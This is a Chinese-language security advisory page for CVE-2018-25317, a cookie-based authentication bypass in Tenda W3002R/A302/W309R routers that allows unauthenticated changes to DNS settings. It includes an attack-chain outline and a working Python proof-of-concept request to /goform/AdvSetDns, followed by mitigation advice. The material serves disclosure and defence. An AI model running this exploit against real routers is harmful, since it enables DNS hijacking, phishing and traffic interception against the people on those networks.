IPBUF安全漏洞报告
English
CVE-2018-25317 CVSS 9.8 严重

CVE-2018-25317 Tenda路由器Cookie会话弱点漏洞

披露日期: 2026-04-29

漏洞信息

漏洞编号
CVE-2018-25317
漏洞类型
权限绕过
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Tenda W3002R/A302/W309R

相关标签

权限绕过DNS劫持IoT安全Tenda路由器

漏洞概述

Tenda W3002R/A302/W309R路由器V5.07.64_en版本存在严重的Cookie会话验证不足漏洞。未经身份验证的攻击者可利用此漏洞,通过发送特制的GET请求到/goform/AdvSetDns端点,并配合伪造的admin语言Cookie,绕过身份验证机制。成功利用后,攻击者可修改路由器的主备DNS服务器设置,将用户流量重定向至恶意DNS服务器,从而造成中间人攻击或钓鱼攻击。

技术细节

该漏洞的根源在于Tenda W3002R/A302/W309R路由器V5.07.64_en版本的Web管理界面对会话验证逻辑存在严重设计缺陷。具体而言,系统在处理敏感配置更改请求时,仅依赖客户端的Cookie(特别是admin语言设置相关的Cookie)来验证请求的合法性,而未在服务端严格校验用户是否已通过登录认证或持有有效的会话令牌。攻击者无需知道管理员密码,只需构造包含特定Cookie字段的HTTP GET请求,目标端点为/goform/AdvSetDns。该端点负责处理DNS设置更改,由于缺乏对会话有效性的服务端检查,攻击者可以直接向该接口提交恶意DNS IP地址参数。一旦请求被设备处理,路由器的DNS配置即被篡改,所有连接该路由器的设备的DNS解析请求将被重定向至攻击者控制的服务器,从而引发中间人攻击、钓鱼攻击或流量劫持,造成严重的安全风险。

攻击链分析

STEP 1
步骤1:信息收集
攻击者扫描网络,识别在线的Tenda W3002R/A302/W309R路由器设备,并确认其Web管理接口的可达性。
STEP 2
步骤2:构造恶意请求
攻击者构造一个针对/goform/AdvSetDns端点的HTTP GET请求,并在请求头中注入包含特定admin语言参数的伪造Cookie,试图绕过身份验证。
STEP 3
步骤3:利用漏洞篡改配置
将构造好的请求发送给目标路由器。由于存在会话验证缺陷,路由器接收请求并将DNS设置更改为攻击者控制的恶意服务器地址。
STEP 4
步骤4:流量劫持
路由器用户的所有DNS查询请求被转发至恶意DNS服务器,攻击者可据此进行钓鱼网站重定向或流量嗅探。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_ip = "192.168.0.1" url = f"http://{target_ip}/goform/AdvSetDns" # Malicious DNS servers to redirect traffic to malicious_dns_primary = "1.1.1.1" malicious_dns_secondary = "1.0.0.1" # Crafted Cookie to exploit session weakness # The vulnerability relies on specific language cookie validation bypass cookies = { "admin": "language=en", "Cookie": "admin=language=en" } # Payload parameters for the DNS settings params = { "GO": "system.asp", "dns1": malicious_dns_primary, "dns2": malicious_dns_secondary } try: print(f"Sending exploit request to {url}...") response = requests.get(url, params=params, cookies=cookies, timeout=5) if response.status_code == 200: print("[+] Request sent successfully. DNS settings may have been changed.") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] An error occurred: {e}")

影响范围

Tenda W3002R V5.07.64_en
Tenda A302 V5.07.64_en
Tenda W309R V5.07.64_en

防御指南

临时缓解措施
如果无法立即升级固件,建议用户在防火墙中限制对路由器Web管理端口(通常为80或443)的外部访问,仅允许可信的内部IP地址连接。同时,应定期手动检查路由器的DNS设置,确保未被篡改为未知IP。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表